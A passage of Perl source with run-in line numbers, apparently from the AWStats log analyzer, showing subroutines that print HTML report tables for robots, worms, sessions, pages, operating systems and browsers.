$NewLinkParams, $NewLinkTarget 15232# Input: - 15233# Output: HTML 15234# Return: - 15235#------------------------------------------------------------------------------ 15236sub HTMLMainRobots{ 15237 my $NewLinkParams = shift; 15238 my $NewLinkTarget = shift; 15239 15240 if ($Debug) { debug( "ShowRobotStats", 2 ); } 15241 print "$Center<a name=\"robots\"> </a><br />\n"; 15242 15243 my $title = "$Message[53] ($Message[77] $MaxNbOf{'RobotShown'}) - <a href=\"" 15244 . ( 15245 $ENV{'GATEWAY_INTERFACE'} 15246 || !$StaticLinks 15247 ? XMLEncode("$AWScript${NewLinkParams}output=allrobots") 15248 : "$StaticLinks.allrobots.$StaticExt" 15249 ) 15250 . "\"$NewLinkTarget>$Message[80]</a> - <a href=\"" 15251 . ( 15252 $ENV{'GATEWAY_INTERFACE'} 15253 || !$StaticLinks 15254 ? XMLEncode("$AWScript${NewLinkParams}output=lastrobots") 15255 : "$StaticLinks.lastrobots.$StaticExt" 15256 ) 15257 . "\"$NewLinkTarget>$Message[9]</a>"; 15258 15259 if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { 15260 # extend the title to include the added link 15261 $title = "$title - <a href=\"" . (XMLEncode( 15262 "$AddLinkToExternalCGIWrapper" . "?section=ROBOT&baseName=$DirData/$PROG" 15263 . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" 15264 . "&siteConfig=$SiteConfig" ) 15265 . "\"$NewLinkTarget>$Message[179]</a>"); 15266 } 15267 15268 &tab_head( "$title", 19, 0, 'robots'); 15269 15270 print "<tr bgcolor=\"#$color_TableBGRowTitle\"" 15271 . Tooltip(16) . "><th>" 15272 . Format_Number(( scalar keys %_robot_h )) 15273 . " $Message[51]*</th>"; 15274 if ( $ShowRobotsStats =~ /H/i ) { 15275 print 15276 "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; 15277 } 15278 if ( $ShowRobotsStats =~ /B/i ) { 15279 print 15280 "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; 15281 } 15282 if ( $ShowRobotsStats =~ /L/i ) { 15283 print "<th width=\"120\">$Message[9]</th>"; 15284 } 15285 print "</tr>\n"; 15286 my $total_p = my $total_h = my $total_k = my $total_r = 0; 15287 my $count = 0; 15288 &BuildKeyList( $MaxNbOf{'RobotShown'}, $MinHit{'Robot'}, \%_robot_h, 15289 \%_robot_h ); 15290 foreach my $key (@keylist) { 15291 print "<tr><td class=\"aws\">" 15292 . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" ) 15293 . ( $RobotsHashIDLib{$key} ? $RobotsHashIDLib{$key} : $key ) 15294 . ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>"; 15295 if ( $ShowRobotsStats =~ /H/i ) { 15296 print "<td>" 15297 . Format_Number(( $_robot_h{$key} - $_robot_r{$key} )) 15298 . ( $_robot_r{$key} ? "+$_robot_r{$key}" : "" ) . "</td>"; 15299 } 15300 if ( $ShowRobotsStats =~ /B/i ) { 15301 print "<td>" . Format_Bytes( $_robot_k{$key} ) . "</td>"; 15302 } 15303 if ( $ShowRobotsStats =~ /L/i ) { 15304 print "<td>" 15305 . ( 15306 $_robot_l{$key} 15307 ? Format_Date( $_robot_l{$key}, 1 ) 15308 : '-' 15309 ) 15310 . "</td>"; 15311 } 15312 print "</tr>\n"; 15313 15314 #$total_p += $_robot_p{$key}; 15315 $total_h += $_robot_h{$key}; 15316 $total_k += $_robot_k{$key} || 0; 15317 $total_r += $_robot_r{$key} || 0; 15318 $count++; 15319 } 15320 15321 # For bots we need to count Totals 15322 my $TotalPagesRobots = 15323 0; #foreach (values %_robot_p) { $TotalPagesRobots+=$_; } 15324 my $TotalHitsRobots = 0; 15325 foreach ( values %_robot_h ) { $TotalHitsRobots += $_; } 15326 my $TotalBytesRobots = 0; 15327 foreach ( values %_robot_k ) { $TotalBytesRobots += $_; } 15328 my $TotalRRobots = 0; 15329 foreach ( values %_robot_r ) { $TotalRRobots += $_; } 15330 my $rest_p = 0; #$rest_p=$TotalPagesRobots-$total_p; 15331 my $rest_h = $TotalHitsRobots - $total_h; 15332 my $rest_k = $TotalBytesRobots - $total_k; 15333 my $rest_r = $TotalRRobots - $total_r; 15334 15335 if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 || $rest_r > 0 ) 15336 { # All other robots 15337 print 15338"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; 15339 if ( $ShowRobotsStats =~ /H/i ) { 15340 print "<td>" 15341 . Format_Number(( $rest_h - $rest_r )) 15342 . ( $rest_r ? "+$rest_r" : "" ) . "</td>"; 15343 } 15344 if ( $ShowRobotsStats =~ /B/i ) { 15345 print "<td>" . ( Format_Bytes($rest_k) ) . "</td>"; 15346 } 15347 if ( $ShowRobotsStats =~ /L/i ) { print "<td> </td>"; } 15348 print "</tr>\n"; 15349 } 15350 &tab_end( 15351 "* $Message[156]" . ( $TotalRRobots ? " $Message[157]" : "" ) ); 15352} 15353 15354#------------------------------------------------------------------------------ 15355# Function: Prints the worms chart and table 15356# Parameters: - 15357# Input: - 15358# Output: HTML 15359# Return: - 15360#------------------------------------------------------------------------------ 15361sub HTMLMainWorms{ 15362 if ($Debug) { debug( "ShowWormsStats", 2 ); } 15363 print "$Center<a name=\"worms\"> </a><br />\n"; 15364 &tab_head( "$Message[163] ($Message[77] $MaxNbOf{'WormsShown'})", 15365 19, 0, 'worms' ); 15366 print "<tr bgcolor=\"#$color_TableBGRowTitle\"" . Tooltip(21) . ">"; 15367 print "<th>" . Format_Number(( scalar keys %_worm_h )) . " $Message[164]*</th>"; 15368 print "<th>$Message[167]</th>"; 15369 if ( $ShowWormsStats =~ /H/i ) { 15370 print 15371 "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; 15372 } 15373 if ( $ShowWormsStats =~ /B/i ) { 15374 print 15375 "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; 15376 } 15377 if ( $ShowWormsStats =~ /L/i ) { 15378 print "<th width=\"120\">$Message[9]</th>"; 15379 } 15380 print "</tr>\n"; 15381 my $total_p = my $total_h = my $total_k = 0; 15382 my $count = 0; 15383 &BuildKeyList( $MaxNbOf{'WormsShown'}, $MinHit{'Worm'}, \%_worm_h, 15384 \%_worm_h ); 15385 foreach my $key (@keylist) { 15386 print "<tr>"; 15387 print "<td class=\"aws\">" 15388 . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" ) 15389 . ( $WormsHashLib{$key} ? $WormsHashLib{$key} : $key ) 15390 . ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>"; 15391 print "<td class=\"aws\">" 15392 . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" ) 15393 . ( $WormsHashTarget{$key} ? $WormsHashTarget{$key} : $key ) 15394 . ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>"; 15395 if ( $ShowWormsStats =~ /H/i ) { 15396 print "<td>" . Format_Number($_worm_h{$key}) . "</td>"; 15397 } 15398 if ( $ShowWormsStats =~ /B/i ) { 15399 print "<td>" . Format_Bytes( $_worm_k{$key} ) . "</td>"; 15400 } 15401 if ( $ShowWormsStats =~ /L/i ) { 15402 print "<td>" 15403 . ( 15404 $_worm_l{$key} 15405 ? Format_Date( $_worm_l{$key}, 1 ) 15406 : '-' 15407 ) 15408 . "</td>"; 15409 } 15410 print "</tr>\n"; 15411 15412 #$total_p += $_worm_p{$key}; 15413 $total_h += $_worm_h{$key}; 15414 $total_k += $_worm_k{$key} || 0; 15415 $count++; 15416 } 15417 15418 # For worms we need to count Totals 15419 my $TotalPagesWorms = 15420 0; #foreach (values %_worm_p) { $TotalPagesWorms+=$_; } 15421 my $TotalHitsWorms = 0; 15422 foreach ( values %_worm_h ) { $TotalHitsWorms += $_; } 15423 my $TotalBytesWorms = 0; 15424 foreach ( values %_worm_k ) { $TotalBytesWorms += $_; } 15425 my $rest_p = 0; #$rest_p=$TotalPagesRobots-$total_p; 15426 my $rest_h = $TotalHitsWorms - $total_h; 15427 my $rest_k = $TotalBytesWorms - $total_k; 15428 15429 if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) { # All other worms 15430 print "<tr>"; 15431 print 15432"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; 15433 print "<td class=\"aws\">-</td>"; 15434 if ( $ShowWormsStats =~ /H/i ) { 15435 print "<td>" . Format_Number(($rest_h)) . "</td>"; 15436 } 15437 if ( $ShowWormsStats =~ /B/i ) { 15438 print "<td>" . ( Format_Bytes($rest_k) ) . "</td>"; 15439 } 15440 if ( $ShowWormsStats =~ /L/i ) { print "<td> </td>"; } 15441 print "</tr>\n"; 15442 } 15443 &tab_end("* $Message[158]"); 15444} 15445 15446#------------------------------------------------------------------------------ 15447# Function: Prints the sessions chart and table 15448# Parameters: - 15449# Input: - 15450# Output: HTML 15451# Return: - 15452#------------------------------------------------------------------------------ 15453sub HTMLMainSessions{ 15454 if ($Debug) { debug( "ShowSessionsStats", 2 ); } 15455 print "$Center<a name=\"sessions\"> </a><br />\n"; 15456 my $title = "$Message[117]"; 15457 &tab_head( $title, 19, 0, 'sessions' ); 15458 my $Totals = 0; 15459 my $average_s = 0; 15460 foreach (@SessionsRange) { 15461 $average_s += ( $_session{$_} || 0 ) * $SessionsAverage{$_}; 15462 $Totals += $_session{$_} || 0; 15463 } 15464 if ($Totals) { $average_s = int( $average_s / $Totals ); } 15465 else { $average_s = '?'; } 15466 print "<tr bgcolor=\"#$color_TableBGRowTitle\"" 15467 . Tooltip(1) 15468 . "><th>$Message[10]: ".Format_Number($TotalVisits)." - $Message[96]: ".Format_Number($average_s)." s</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[10]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n"; 15469 $average_s = 0; 15470 my $total_s = 0; 15471 my $count = 0; 15472 foreach my $key (@SessionsRange) { 15473 my $p = 0; 15474 if ($TotalVisits) { 15475 $p = int( $_session{$key} / $TotalVisits * 1000 ) / 10; 15476 } 15477 $total_s += $_session{$key} || 0; 15478 print "<tr><td class=\"aws\">$key</td>"; 15479 print "<td>" 15480 . ( $_session{$key} ? Format_Number($_session{$key}) : " " ) . "</td>"; 15481 print "<td>" 15482 . ( $_session{$key} ? "$p %" : " " ) . "</td>"; 15483 print "</tr>\n"; 15484 $count++; 15485 } 15486 my $rest_s = $TotalVisits - $total_s; 15487 if ( $rest_s > 0 ) { # All others sessions 15488 my $p = 0; 15489 if ($TotalVisits) { 15490 $p = int( $rest_s / $TotalVisits * 1000 ) / 10; 15491 } 15492 print "<tr" 15493 . Tooltip(20) 15494 . "><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>"; 15495 print "<td>".Format_Number($rest_s)."</td>"; 15496 print "<td>" . ( $rest_s ? "$p %" : " " ) . "</td>"; 15497 print "</tr>\n"; 15498 } 15499 &tab_end(); 15500} 15501 15502#------------------------------------------------------------------------------ 15503# Function: Prints the pages chart and table 15504# Parameters: $NewLinkParams, $NewLinkTarget 15505# Input: - 15506# Output: HTML 15507# Return: - 15508#------------------------------------------------------------------------------ 15509sub HTMLMainPages{ 15510 my $NewLinkParams = shift; 15511 my $NewLinkTarget = shift; 15512 15513 if ($Debug) { 15514 debug( 15515"ShowPagesStats (MaxNbOf{'PageShown'}=$MaxNbOf{'PageShown'} TotalDifferentPages=$TotalDifferentPages)", 15516 2 15517 ); 15518 } 15519 my $regext = qr/\.(\w{1,6})$/; 15520 print 15521"$Center<a name=\"urls\"> </a><a name=\"entry\"> </a><a name=\"exit\"> </a><br />\n"; 15522 my $title = 15523"$Message[19] ($Message[77] $MaxNbOf{'PageShown'}) - <a href=\"" 15524 . ( 15525 $ENV{'GATEWAY_INTERFACE'} 15526 || !$StaticLinks 15527 ? XMLEncode("$AWScript${NewLinkParams}output=urldetail") 15528 : "$StaticLinks.urldetail.$StaticExt" 15529 ) 15530 . "\"$NewLinkTarget>$Message[80]</a>"; 15531 if ( $ShowPagesStats =~ /E/i ) { 15532 $title .= " - <a href=\"" 15533 . ( 15534 $ENV{'GATEWAY_INTERFACE'} 15535 || !$StaticLinks 15536 ? XMLEncode("$AWScript${NewLinkParams}output=urlentry") 15537 : "$StaticLinks.urlentry.$StaticExt" 15538 ) 15539 . "\"$NewLinkTarget>$Message[104]</a>"; 15540 } 15541 if ( $ShowPagesStats =~ /X/i ) { 15542 $title .= " - <a href=\"" 15543 . ( 15544 $ENV{'GATEWAY_INTERFACE'} 15545 || !$StaticLinks 15546 ? XMLEncode("$AWScript${NewLinkParams}output=urlexit") 15547 : "$StaticLinks.urlexit.$StaticExt" 15548 ) 15549 . "\"$NewLinkTarget>$Message[116]</a>"; 15550 } 15551 15552 if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { 15553 # extend the title to include the added link 15554 $title .= " - <a href=\"" . (XMLEncode( 15555 "$AddLinkToExternalCGIWrapper" . "?section=SIDER&baseName=$DirData/$PROG" 15556 . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" 15557 . "&siteConfig=$SiteConfig" ) 15558 . "\"$NewLinkTarget>$Message[179]</a>"); 15559 } 15560 15561 &tab_head( "$title", 19, 0, 'urls' ); 15562 print 15563"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>".Format_Number($TotalDifferentPages)." $Message[28]</th>"; 15564 if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) { 15565 print 15566 "<th bgcolor=\"#$color_p\" width=\"80\">$Message[29]</th>"; 15567 } 15568 if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) { 15569 print 15570 "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; 15571 } 15572 if ( $ShowPagesStats =~ /B/i ) { 15573 print 15574 "<th bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>"; 15575 } 15576 if ( $ShowPagesStats =~ /E/i ) { 15577 print 15578 "<th bgcolor=\"#$color_e\" width=\"80\">$Message[104]</th>"; 15579 } 15580 if ( $ShowPagesStats =~ /X/i ) { 15581 print 15582 "<th bgcolor=\"#$color_x\" width=\"80\">$Message[116]</th>"; 15583 } 15584 15585 # Call to plugins' function ShowPagesAddField 15586 foreach 15587 my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesAddField'} } ) 15588 { 15589 15590 # my $function="ShowPagesAddField_$pluginname('title')"; 15591 # eval("$function"); 15592 my $function = "ShowPagesAddField_$pluginname"; 15593 &$function('title'); 15594 } 15595 print "<th> </th></tr>\n"; 15596 my $total_p = my $total_e = my $total_x = my $total_k = 0; 15597 my $max_p = 1; 15598 my $max_k = 1; 15599 my $count = 0; 15600 &BuildKeyList( $MaxNbOf{'PageShown'}, $MinHit{'File'}, \%_url_p, 15601 \%_url_p ); 15602 foreach my $key (@keylist) { 15603 if ( $_url_p{$key} > $max_p ) { $max_p = $_url_p{$key}; } 15604 if ( $_url_k{$key} / ( $_url_p{$key} || 1 ) > $max_k ) { 15605 $max_k = $_url_k{$key} / ( $_url_p{$key} || 1 ); 15606 } 15607 } 15608 foreach my $key (@keylist) { 15609 print "<tr><td class=\"aws\">"; 15610 &HTMLShowURLInfo($key); 15611 print "</td>"; 15612 my $bredde_p = 0; 15613 my $bredde_e = 0; 15614 my $bredde_x = 0; 15615 my $bredde_k = 0; 15616 if ( $max_p > 0 ) { 15617 $bredde_p = 15618 int( $BarWidth * ( $_url_p{$key} || 0 ) / $max_p ) + 1; 15619 } 15620 if ( ( $bredde_p == 1 ) && $_url_p{$key} ) { $bredde_p = 2; } 15621 if ( $max_p > 0 ) { 15622 $bredde_e = 15623 int( $BarWidth * ( $_url_e{$key} || 0 ) / $max_p ) + 1; 15624 } 15625 if ( ( $bredde_e == 1 ) && $_url_e{$key} ) { $bredde_e = 2; } 15626 if ( $max_p > 0 ) { 15627 $bredde_x = 15628 int( $BarWidth * ( $_url_x{$key} || 0 ) / $max_p ) + 1; 15629 } 15630 if ( ( $bredde_x == 1 ) && $_url_x{$key} ) { $bredde_x = 2; } 15631 if ( $max_k > 0 ) { 15632 $bredde_k = 15633 int( $BarWidth * 15634 ( ( $_url_k{$key} || 0 ) / ( $_url_p{$key} || 1 ) ) / 15635 $max_k ) + 1; 15636 } 15637 if ( ( $bredde_k == 1 ) && $_url_k{$key} ) { $bredde_k = 2; } 15638 if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) { 15639 print "<td>".Format_Number($_url_p{$key})."</td>"; 15640 } 15641 if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) { 15642 print "<td>".Format_Number($_url_p{$key})."</td>"; 15643 } 15644 if ( $ShowPagesStats =~ /B/i ) { 15645 print "<td>" 15646 . ( 15647 $_url_k{$key} 15648 ? Format_Bytes( 15649 $_url_k{$key} / ( $_url_p{$key} || 1 ) 15650 ) 15651 : " " 15652 ) 15653 . "</td>"; 15654 } 15655 if ( $ShowPagesStats =~ /E/i ) { 15656 print "<td>" 15657 . ( $_url_e{$key} ? Format_Number($_url_e{$key}) : " " ) . "</td>"; 15658 } 15659 if ( $ShowPagesStats =~ /X/i ) { 15660 print "<td>" 15661 . ( $_url_x{$key} ? Format_Number($_url_x{$key}) : " " ) . "</td>"; 15662 } 15663 15664 # Call to plugins' function ShowPagesAddField 15665 foreach my $pluginname ( 15666 keys %{ $PluginsLoaded{'ShowPagesAddField'} } ) 15667 { 15668 15669 # my $function="ShowPagesAddField_$pluginname('$key')"; 15670 # eval("$function"); 15671 my $function = "ShowPagesAddField_$pluginname"; 15672 &$function($key); 15673 } 15674 print "<td class=\"aws\">"; 15675 if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) { 15676 print 15677"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"4\"" 15678 . AltTitle("") 15679 . " /><br />"; 15680 } 15681 if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) { 15682 print 15683"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_p\" height=\"4\"" 15684 . AltTitle("") 15685 . " /><br />"; 15686 } 15687 if ( $ShowPagesStats =~ /B/i ) { 15688 print 15689"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"4\"" 15690 . AltTitle("") 15691 . " /><br />"; 15692 } 15693 if ( $ShowPagesStats =~ /E/i ) { 15694 print 15695"<img src=\"$DirIcons\/other\/$BarPng{'he'}\" width=\"$bredde_e\" height=\"4\"" 15696 . AltTitle("") 15697 . " /><br />"; 15698 } 15699 if ( $ShowPagesStats =~ /X/i ) { 15700 print 15701"<img src=\"$DirIcons\/other\/$BarPng{'hx'}\" width=\"$bredde_x\" height=\"4\"" 15702 . AltTitle("") . " />"; 15703 } 15704 print "</td></tr>\n"; 15705 $total_p += $_url_p{$key} || 0; 15706 $total_e += $_url_e{$key} || 0; 15707 $total_x += $_url_x{$key} || 0; 15708 $total_k += $_url_k{$key} || 0; 15709 $count++; 15710 } 15711 my $rest_p = $TotalPages - $total_p; 15712 my $rest_e = $TotalEntries - $total_e; 15713 my $rest_x = $TotalExits - $total_x; 15714 my $rest_k = $TotalBytesPages - $total_k; 15715 if ( $rest_p > 0 || $rest_k > 0 || $rest_e > 0 || $rest_x > 0 ) 15716 { # All other urls 15717 print 15718"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; 15719 if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) { 15720 print "<td>".Format_Number($rest_p)."</td>"; 15721 } 15722 if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) { 15723 print "<td>".Format_Number($rest_p)."</td>"; 15724 } 15725 if ( $ShowPagesStats =~ /B/i ) { 15726 print "<td>" 15727 . ( 15728 $rest_k 15729 ? Format_Bytes( $rest_k / ( $rest_p || 1 ) ) 15730 : " " 15731 ) 15732 . "</td>"; 15733 } 15734 if ( $ShowPagesStats =~ /E/i ) { 15735 print "<td>" . ( $rest_e ? Format_Number($rest_e) : " " ) . "</td>"; 15736 } 15737 if ( $ShowPagesStats =~ /X/i ) { 15738 print "<td>" . ( $rest_x ? Format_Number($rest_x) : " " ) . "</td>"; 15739 } 15740 15741 # Call to plugins' function ShowPagesAddField 15742 foreach my $pluginname ( 15743 keys %{ $PluginsLoaded{'ShowPagesAddField'} } ) 15744 { 15745 15746 # my $function="ShowPagesAddField_$pluginname('')"; 15747 # eval("$function"); 15748 my $function = "ShowPagesAddField_$pluginname"; 15749 &$function(''); 15750 } 15751 print "<td> </td></tr>\n"; 15752 } 15753 &tab_end(); 15754} 15755 15756#------------------------------------------------------------------------------ 15757# Function: Prints the OS chart and table 15758# Parameters: $NewLinkParams, $NewLinkTarget 15759# Input: - 15760# Output: HTML 15761# Return: - 15762#------------------------------------------------------------------------------ 15763sub HTMLMainOS{ 15764 my $NewLinkParams = shift; 15765 my $NewLinkTarget = shift; 15766 15767 if ($Debug) { debug( "ShowOSStats", 2 ); } 15768 print "$Center<a name=\"os\"> </a><br />\n"; 15769 my $Totalh = 0; 15770 my $Totalp = 0; 15771 my %new_os_h = (); 15772 my %new_os_p = (); 15773 OSLOOP: foreach my $key ( keys %_os_h ) { 15774 $Totalh += $_os_h{$key}; 15775 $Totalp += $_os_p{$key}; 15776 foreach my $family ( keys %OSFamily ) { 15777 if ( $key =~ /^$family/i ) { 15778 $new_os_h{"${family}cumul"} += $_os_h{$key}; 15779 $new_os_p{"${family}cumul"} += $_os_p{$key}; 15780 next OSLOOP; 15781 } 15782 } 15783 $new_os_h{$key} += $_os_h{$key}; 15784 $new_os_p{$key} += $_os_p{$key}; 15785 } 15786 my $title = 15787"$Message[59] ($Message[77] $MaxNbOf{'OsShown'}) - <a href=\"" 15788 . ( 15789 $ENV{'GATEWAY_INTERFACE'} 15790 || !$StaticLinks 15791 ? XMLEncode("$AWScript${NewLinkParams}output=osdetail") 15792 : "$StaticLinks.osdetail.$StaticExt" 15793 ) 15794 . "\"$NewLinkTarget>$Message[80]/$Message[58]</a> - <a href=\"" 15795 . ( 15796 $ENV{'GATEWAY_INTERFACE'} 15797 || !$StaticLinks 15798 ? XMLEncode("$AWScript${NewLinkParams}output=unknownos") 15799 : "$StaticLinks.unknownos.$StaticExt" 15800 ) 15801 . "\"$NewLinkTarget>$Message[0]</a>"; 15802 15803 if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { 15804 # extend the title to include the added link 15805 $title .= " - <a href=\"" . (XMLEncode( 15806 "$AddLinkToExternalCGIWrapper" . "?section=OS&baseName=$DirData/$PROG" 15807 . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" 15808 . "&siteConfig=$SiteConfig" ) 15809 . "\"$NewLinkTarget>$Message[179]</a>"); 15810 } 15811 15812 &tab_head( "$title", 19, 0, 'os' ); 15813 15814 &BuildKeyList( $MaxNbOf{'OsShown'}, $MinHit{'Os'}, \%new_os_h, 15815 \%new_os_p ); 15816 15817 # Graph the top five in a pie chart 15818 if (scalar @keylist > 1){ 15819 foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) 15820 { 15821 my @blocklabel = (); 15822 my @valdata = (); 15823 my @valcolor = ($color_p); 15824 my $cnt = 0; 15825 foreach my $key (@keylist) { 15826 push @valdata, int( $new_os_h{$key} / $Totalh * 1000 ) / 10; 15827 if ($key eq 'Unknown'){push @blocklabel, "$key"; } 15828 else{ 15829 my $keywithoutcumul = $key; 15830 $keywithoutcumul =~ s/cumul$//i; 15831 my $libos = $OSHashLib{$keywithoutcumul} 15832 || $keywithoutcumul; 15833 my $nameicon = $keywithoutcumul; 15834 $nameicon =~ s/[^\w]//g; 15835 if ( $OSFamily{$keywithoutcumul} ) { 15836 $libos = $OSFamily{$keywithoutcumul}; 15837 } 15838 push @blocklabel, "$libos"; 15839 } 15840 $cnt++; 15841 if ($cnt > 4) { last; } 15842 } 15843 print "<tr><td colspan=\"5\">"; 15844 my $function = "ShowGraph_$pluginname"; 15845 &$function( 15846 "Top 5 Operating Systems", "oss", 15847 0, \@blocklabel, 15848 0, \@valcolor, 15849 0, 0, 15850 0, \@valdata 15851 ); 15852 print "</td></tr>"; 15853 } 15854 } 15855 15856 print 15857"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\"> </th><th>$Message[59]</th>"; 15858 print 15859"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>"; 15860 print 15861"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th></tr>\n"; 15862 my $total_h = 0; 15863 my $total_p = 0; 15864 my $count = 0; 15865 15866 foreach my $key (@keylist) { 15867 my $p_h = ' '; 15868 my $p_p = ' '; 15869 if ($Totalh) { 15870 $p_h = int( $new_os_h{$key} / $Totalh * 1000 ) / 10; 15871 $p_h = "$p_h %"; 15872 } 15873 if ($Totalp) { 15874 $p_p = int( $new_os_p{$key} / $Totalp * 1000 ) / 10; 15875 $p_p = "$p_p %"; 15876 } 15877 if ( $key eq 'Unknown' ) { 15878 print "<tr><td" 15879 . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) 15880 . "><img src=\"$DirIcons\/os\/unknown.png\"" 15881 . AltTitle("") 15882 . " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>" 15883 . "<td>".Format_Number($_os_p{$key})."</td><td>$p_p</td><td>".Format_Number($_os_h{$key})."</td><td>$p_h</td></tr>\n"; 15884 } 15885 else { 15886 my $keywithoutcumul = $key; 15887 $keywithoutcumul =~ s/cumul$//i; 15888 my $libos = $OSHashLib{$keywithoutcumul} 15889 || $keywithoutcumul; 15890 my $nameicon = $keywithoutcumul; 15891 $nameicon =~ s/[^\w]//g; 15892 if ( $OSFamily{$keywithoutcumul} ) { 15893 $libos = "<b>" . $OSFamily{$keywithoutcumul} . "</b>"; 15894 } 15895 print "<tr><td" 15896 . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) 15897 . "><img src=\"$DirIcons\/os\/$nameicon.png\"" 15898 . AltTitle("") 15899 . " /></td><td class=\"aws\">$libos</td><td>".Format_Number($new_os_p{$key})."</td><td>$p_p</td><td>".Format_Number($new_os_h{$key})."</td><td>$p_h</td></tr>\n"; 15900 } 15901 $total_h += $new_os_h{$key}; 15902 $total_p += $new_os_p{$key}; 15903 $count++; 15904 } 15905 if ($Debug) { 15906 debug( "Total real / shown : $Totalh / $total_h", 2 ); 15907 } 15908 my $rest_h = $Totalh - $total_h; 15909 my $rest_p = $Totalp - $total_p; 15910 if ( $rest_h > 0 ) { 15911 my $p_p; 15912 my $p_h; 15913 if ($Totalh) { $p_h = int( $rest_h / $Totalh * 1000 ) / 10; } 15914 if ($Totalp) { $p_p = int( $rest_p / $Totalp * 1000 ) / 10; } 15915 print "<tr>"; 15916 print "<td> </td>"; 15917 print 15918"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td><td>".Format_Number($rest_p)."</td>"; 15919 print "<td>$p_p %</td><td>".Format_Number($rest_h)."</td><td>$p_h %</td></tr>\n"; 15920 } 15921 &tab_end(); 15922} 15923 15924#------------------------------------------------------------------------------ 15925# Function: Prints the Browsers chart and table 15926# Parameters: $NewLinkParams, $NewLinkTarget 15927# Input: - 15928# Output: HTML 15929# Return: - 15930#------------------------------------------------------------------------------ 15931sub HTMLMainBrowsers{ 15932 my $NewLinkParams = shift; 15933 my $NewLinkTarget = shift; 15934 15935 if ($Debug) { debug( "ShowBrowsersStats", 2 ); } 15936 print "$Center<a name=\"browsers\"> </a><br />\n"; 15937 my $Totalh = 0; 15938 my $Totalp = 0; 15939 my %new_browser_h = (); 15940 my %new_browser_p = (); 15941 BROWSERLOOP: foreach my $key ( keys %_browser_h ) { 15942 $Totalh += $_browser_h{$key}; 15943 $Totalp += $_browser_p{$key}; 15944 foreach my $family ( keys %BrowsersFamily ) { 15945 if ( $key =~ /^$family/i ) { 15946 $new_browser_h{"${family}cumul"} += $_browser_h{$key}; 15947 $new_browser_p{"${family}cumul"} += $_browser_p{$key}; 15948 next BROWSERLOOP; 15949 } 15950 } 15951 $new_browser_h{$key} += $_browser_h{$key}; 15952 $new_browser_p{$key} += $_browser_p{$key}; 15953 } 15954 my $title = 15955"$Message[21] ($Message[77] $MaxNbOf{'BrowsersShown'}) - <a href=\"" 15956 . ( 15957 $ENV{'GATEWAY_INTERFACE'} 15958 || !$StaticLinks 15959 ? XMLEncode("$AWScript${NewLinkParams}output=browserdetail") 15960 : "$StaticLinks.browserdetail.$StaticExt" 15961 ) 15962 . "\"$NewLinkTarget>$Message[80]/$Message[58]</a> - <a href=\"" 15963 . ( 15964 $ENV{'GATEWAY_INTERFACE'} 15965 || !$StaticLinks 15966 ? XMLEncode("$AWScript${NewLinkParams}output=unknownbrowser") 15967 : "$StaticLinks.unknownbrowser.$StaticExt" 15968 ) 15969 . "\"$NewLinkTarget>$Message[0]</a>"; 15970 15971 15972 if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { 15973 # extend the title to include the added link 15974 $title .= " - <a href=\"" . (XMLEncode( 15975 "$AddLinkToExternalCGIWrapper" . "?section=BROWSER&baseName=$DirData/$PROG" 15976 . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" 15977 . "&siteConfig=$SiteConfig" ) 15978 . "\"$NewLinkTarget>$Message[179]</a>"); 15979 } 15980 15981 &tab_head( "$title", 19, 